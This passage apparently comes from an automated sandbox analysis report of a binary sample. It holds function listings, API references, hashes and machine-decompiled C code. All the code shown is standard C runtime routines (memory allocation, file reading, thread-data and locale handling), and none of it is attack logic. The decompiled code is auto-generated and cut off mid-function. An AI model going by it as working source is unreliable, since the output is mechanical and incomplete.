                                                                                                                                                                                            • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                                            • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00405842
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00405906
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00405930
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: _malloc$AllocateHeap
                                                                                                                                                                                          • String ID: 1.2.3
                                                                                                                                                                                          • API String ID: 680241177-2310465506
                                                                                                                                                                                          • Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
                                                                                                                                                                                          • Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
                                                                                                                                                                                          • Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
                                                                                                                                                                                          • Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081BF12, Relevance: 10.7, APIs: 7, Instructions: 189COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3886058894-0
                                                                                                                                                                                          • Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                                                          • Instruction ID: 6effbd29107191931f817923e25496d1d3bfab370bc274b03cd3bd3eaeeee192
                                                                                                                                                                                          • Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                                                          • Instruction Fuzzy Hash: 6C51A171940608EBCB209FA98C449DEBB7DFF84364F248269F829D6191D7319AD1CF91
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040BCC2, Relevance: 10.7, APIs: 7, Instructions: 189COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 85%
                                                                                                                                                                                          			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}





























                                                                                                                                                                                          0x0040bcc2
                                                                                                                                                                                          0x0040bcca
                                                                                                                                                                                          0x0040bcce
                                                                                                                                                                                          0x0040bcd3
                                                                                                                                                                                          0x0040bcd5
                                                                                                                                                                                          0x0040bcd8
                                                                                                                                                                                          0x0040bcde
                                                                                                                                                                                          0x0040bd01
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bce5
                                                                                                                                                                                          0x0040bce5
                                                                                                                                                                                          0x0040bce7
                                                                                                                                                                                          0x0040bd08
                                                                                                                                                                                          0x0040bd0b
                                                                                                                                                                                          0x0040bd0d
                                                                                                                                                                                          0x0040bd1c
                                                                                                                                                                                          0x0040bd1c
                                                                                                                                                                                          0x0040bd1f
                                                                                                                                                                                          0x0040bd24
                                                                                                                                                                                          0x0040bd29
                                                                                                                                                                                          0x0040bd29
                                                                                                                                                                                          0x0040bd2c
                                                                                                                                                                                          0x0040bd2e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd30
                                                                                                                                                                                          0x0040bd30
                                                                                                                                                                                          0x0040bd35
                                                                                                                                                                                          0x0040bd38
                                                                                                                                                                                          0x0040bd3b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd3d
                                                                                                                                                                                          0x0040bd40
                                                                                                                                                                                          0x0040bd44
                                                                                                                                                                                          0x0040bd4b
                                                                                                                                                                                          0x0040bd4e
                                                                                                                                                                                          0x0040bd50
                                                                                                                                                                                          0x0040bd5a
                                                                                                                                                                                          0x0040bd52
                                                                                                                                                                                          0x0040bd55
                                                                                                                                                                                          0x0040bd55
                                                                                                                                                                                          0x0040bd61
                                                                                                                                                                                          0x0040bd63
                                                                                                                                                                                          0x0040be53
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd69
                                                                                                                                                                                          0x0040bd69
                                                                                                                                                                                          0x0040bd69
                                                                                                                                                                                          0x0040bd70
                                                                                                                                                                                          0x0040bdb6
                                                                                                                                                                                          0x0040bdb6
                                                                                                                                                                                          0x0040bdb9
                                                                                                                                                                                          0x0040be24
                                                                                                                                                                                          0x0040be2a
                                                                                                                                                                                          0x0040be2d
                                                                                                                                                                                          0x0040beb8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bebe
                                                                                                                                                                                          0x0040be33
                                                                                                                                                                                          0x0040be37
                                                                                                                                                                                          0x0040be87
                                                                                                                                                                                          0x0040be87
                                                                                                                                                                                          0x0040be8b
                                                                                                                                                                                          0x0040be95
                                                                                                                                                                                          0x0040be9a
                                                                                                                                                                                          0x0040be9a
                                                                                                                                                                                          0x0040bea2
                                                                                                                                                                                          0x0040beaa
                                                                                                                                                                                          0x0040beab
                                                                                                                                                                                          0x0040beac
                                                                                                                                                                                          0x0040bead
                                                                                                                                                                                          0x0040beae
                                                                                                                                                                                          0x0040bcf9
                                                                                                                                                                                          0x0040bcf9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bcfe
                                                                                                                                                                                          0x0040be39
                                                                                                                                                                                          0x0040be3c
                                                                                                                                                                                          0x0040be3f
                                                                                                                                                                                          0x0040be44
                                                                                                                                                                                          0x0040be45
                                                                                                                                                                                          0x0040be45
                                                                                                                                                                                          0x0040be45
                                                                                                                                                                                          0x0040be48
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040be48
                                                                                                                                                                                          0x0040bdbb
                                                                                                                                                                                          0x0040bdbf
                                                                                                                                                                                          0x0040bde0
                                                                                                                                                                                          0x0040bde5
                                                                                                                                                                                          0x0040bde7
                                                                                                                                                                                          0x0040bde9
                                                                                                                                                                                          0x0040bde9
                                                                                                                                                                                          0x0040bdc1
                                                                                                                                                                                          0x0040bdc8
                                                                                                                                                                                          0x0040bdca
                                                                                                                                                                                          0x0040bdd7
                                                                                                                                                                                          0x0040bdd7
                                                                                                                                                                                          0x0040bdd7
                                                                                                                                                                                          0x0040bdda
                                                                                                                                                                                          0x0040bdcc
                                                                                                                                                                                          0x0040bdce
                                                                                                                                                                                          0x0040bdd1
                                                                                                                                                                                          0x0040bdd1
                                                                                                                                                                                          0x0040bddc
                                                                                                                                                                                          0x0040bddc
                                                                                                                                                                                          0x0040bdeb
                                                                                                                                                                                          0x0040bdee
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bdf4
                                                                                                                                                                                          0x0040bdf4
                                                                                                                                                                                          0x0040bdf5
                                                                                                                                                                                          0x0040bdf9
                                                                                                                                                                                          0x0040bdfe
                                                                                                                                                                                          0x0040bdff
                                                                                                                                                                                          0x0040be00
                                                                                                                                                                                          0x0040be05
                                                                                                                                                                                          0x0040be08
                                                                                                                                                                                          0x0040be0a
                                                                                                                                                                                          0x0040bec6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bec6
                                                                                                                                                                                          0x0040be10
                                                                                                                                                                                          0x0040be13
                                                                                                                                                                                          0x0040beb4
                                                                                                                                                                                          0x0040beb4
                                                                                                                                                                                          0x0040beb4
                                                                                                                                                                                          0x0040beb4
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040beb4
                                                                                                                                                                                          0x0040be19
                                                                                                                                                                                          0x0040be1c
                                                                                                                                                                                          0x0040be1e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040be1e
                                                                                                                                                                                          0x0040bdee
                                                                                                                                                                                          0x0040bd72
                                                                                                                                                                                          0x0040bd75
                                                                                                                                                                                          0x0040bd77
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd79
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd7f
                                                                                                                                                                                          0x0040bd81
                                                                                                                                                                                          0x0040bd83
                                                                                                                                                                                          0x0040bd85
                                                                                                                                                                                          0x0040bd85
                                                                                                                                                                                          0x0040bd87
                                                                                                                                                                                          0x0040bd8a
                                                                                                                                                                                          0x0040be5b
                                                                                                                                                                                          0x0040be5d
                                                                                                                                                                                          0x0040be61
                                                                                                                                                                                          0x0040be6a
                                                                                                                                                                                          0x0040be6f
                                                                                                                                                                                          0x0040be6f
                                                                                                                                                                                          0x0040be72
                                                                                                                                                                                          0x0040be77
                                                                                                                                                                                          0x0040be78
                                                                                                                                                                                          0x0040be79
                                                                                                                                                                                          0x0040be7a
                                                                                                                                                                                          0x0040be7b
                                                                                                                                                                                          0x0040be81
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd90
                                                                                                                                                                                          0x0040bd99
                                                                                                                                                                                          0x0040bd9e
                                                                                                                                                                                          0x0040bda1
                                                                                                                                                                                          0x0040bda3
                                                                                                                                                                                          0x0040bda6
                                                                                                                                                                                          0x0040bda8
                                                                                                                                                                                          0x0040bdab
                                                                                                                                                                                          0x0040bdae
                                                                                                                                                                                          0x0040bdae
                                                                                                                                                                                          0x0040be4b
                                                                                                                                                                                          0x0040be4b
                                                                                                                                                                                          0x0040be4b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd69
                                                                                                                                                                                          0x0040bd63
                                                                                                                                                                                          0x0040bd2e
                                                                                                                                                                                          0x0040bd0f
                                                                                                                                                                                          0x0040bd14
                                                                                                                                                                                          0x0040bd14
                                                                                                                                                                                          0x0040bd17
                                                                                                                                                                                          0x0040bd1a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bd1a
                                                                                                                                                                                          0x0040bce9
                                                                                                                                                                                          0x0040bce9
                                                                                                                                                                                          0x0040bcee
                                                                                                                                                                                          0x0040bcef
                                                                                                                                                                                          0x0040bcf0
                                                                                                                                                                                          0x0040bcf1
                                                                                                                                                                                          0x0040bcf2
                                                                                                                                                                                          0x0040bcf8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040bcf8

                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3886058894-0
                                                                                                                                                                                          • Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                                                          • Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
                                                                                                                                                                                          • Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                                                          • Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081C98D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __fileno$__getptd_noexit__lock_file
                                                                                                                                                                                          • String ID: 'B
                                                                                                                                                                                          • API String ID: 3755561058-2787509829
                                                                                                                                                                                          • Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                                                          • Instruction ID: 2ac97571fb9cc15a1d3de1e643ed901772e9af1c45d813bb7a65cefa99c11e5e
                                                                                                                                                                                          • Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                                                          • Instruction Fuzzy Hash: B801482318462856C2116B7C6C434FE7BACFF81B307664315F564DB1E3DB28D9C2A697
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00815A00, Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00815A2E
                                                                                                                                                                                            • Part of subcall function 0081BA9D: __FF_MSGBANNER.LIBCMT ref: 0081BAC0
                                                                                                                                                                                            • Part of subcall function 0081BA9D: __NMSG_WRITE.LIBCMT ref: 0081BAC7
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00815A92
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00815B56
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00815B80
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: _malloc
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 1579825452-0
                                                                                                                                                                                          • Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
                                                                                                                                                                                          • Instruction ID: 77d6e56cd0a622eea71148dfdabcaf3279ebd724f8a9dd716afa0afcd23bc3b3
                                                                                                                                                                                          • Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
                                                                                                                                                                                          • Instruction Fuzzy Hash: 656104B1988B80CFC7209F2D98805ABFBE8FF95324F54492EE1DAC7640D73594C98B52
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00824988, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __getptd.LIBCMT ref: 00824994
                                                                                                                                                                                            • Part of subcall function 00820985: __getptd_noexit.LIBCMT ref: 00820988
                                                                                                                                                                                            • Part of subcall function 00820985: __amsg_exit.LIBCMT ref: 00820995
                                                                                                                                                                                          • __getptd.LIBCMT ref: 008249AB
                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 008249B9
                                                                                                                                                                                          • __lock.LIBCMT ref: 008249C9
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                                          • String ID: @.B
                                                                                                                                                                                          • API String ID: 3521780317-470711618
                                                                                                                                                                                          • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                                          • Instruction ID: e3505653c43f19fda4975fe0e00329ba7b7950352c34bd365a1438a4da5c33ef
                                                                                                                                                                                          • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                                          • Instruction Fuzzy Hash: 59F09631A00B209BE720FF78F50274E7BA0FF04710F514155E845D72E2CB7458C19A67
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00414738, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 90%
                                                                                                                                                                                          			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}







                                                                                                                                                                                          0x00414738
                                                                                                                                                                                          0x00414738
                                                                                                                                                                                          0x00414738
                                                                                                                                                                                          0x00414738
                                                                                                                                                                                          0x00414738
                                                                                                                                                                                          0x0041473a
                                                                                                                                                                                          0x0041473f
                                                                                                                                                                                          0x00414749
                                                                                                                                                                                          0x0041474b
                                                                                                                                                                                          0x00414753
                                                                                                                                                                                          0x00414777
                                                                                                                                                                                          0x00414779
                                                                                                                                                                                          0x0041477f
                                                                                                                                                                                          0x00414783
                                                                                                                                                                                          0x00414786
                                                                                                                                                                                          0x00414791
                                                                                                                                                                                          0x00414794
                                                                                                                                                                                          0x0041479b
                                                                                                                                                                                          0x00414755
                                                                                                                                                                                          0x00414755
                                                                                                                                                                                          0x00414759
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0041475b
                                                                                                                                                                                          0x00414760
                                                                                                                                                                                          0x00414760
                                                                                                                                                                                          0x00414759
                                                                                                                                                                                          0x00414765
                                                                                                                                                                                          0x00414769
                                                                                                                                                                                          0x0041476e
                                                                                                                                                                                          0x00414776

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • __getptd.LIBCMT ref: 00414744
                                                                                                                                                                                            • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                                                            • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                                                          • __getptd.LIBCMT ref: 0041475B
                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00414769
                                                                                                                                                                                          • __lock.LIBCMT ref: 00414779
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                                          • String ID: @.B
                                                                                                                                                                                          • API String ID: 3521780317-470711618
                                                                                                                                                                                          • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                                          • Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
                                                                                                                                                                                          • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                                          • Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0082494A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • ___addlocaleref.LIBCMT ref: 0082495C
                                                                                                                                                                                          • ___removelocaleref.LIBCMT ref: 00824967
                                                                                                                                                                                          • ___freetlocinfo.LIBCMT ref: 0082497B
                                                                                                                                                                                            • Part of subcall function 008246D9: ___free_lconv_mon.LIBCMT ref: 0082471F
                                                                                                                                                                                            • Part of subcall function 008246D9: ___free_lconv_num.LIBCMT ref: 00824740
                                                                                                                                                                                            • Part of subcall function 008246D9: ___free_lc_time.LIBCMT ref: 008247C5
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
                                                                                                                                                                                          • String ID: @.B$@.B
                                                                                                                                                                                          • API String ID: 4212647719-183327057
                                                                                                                                                                                          • Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                                                                                                                                                                          • Instruction ID: 24fdc1a7311b6edb195653af385e345dc7372607dcb0b6f718f80456d0d019b1
                                                                                                                                                                                          • Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                                                                                                                                                                          • Instruction Fuzzy Hash: DFE0863292583155CF37251C744136BDA9DFF82761B1A3266F804EB574DB244CC594B6
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040C73D, Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 77%
                                                                                                                                                                                          			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
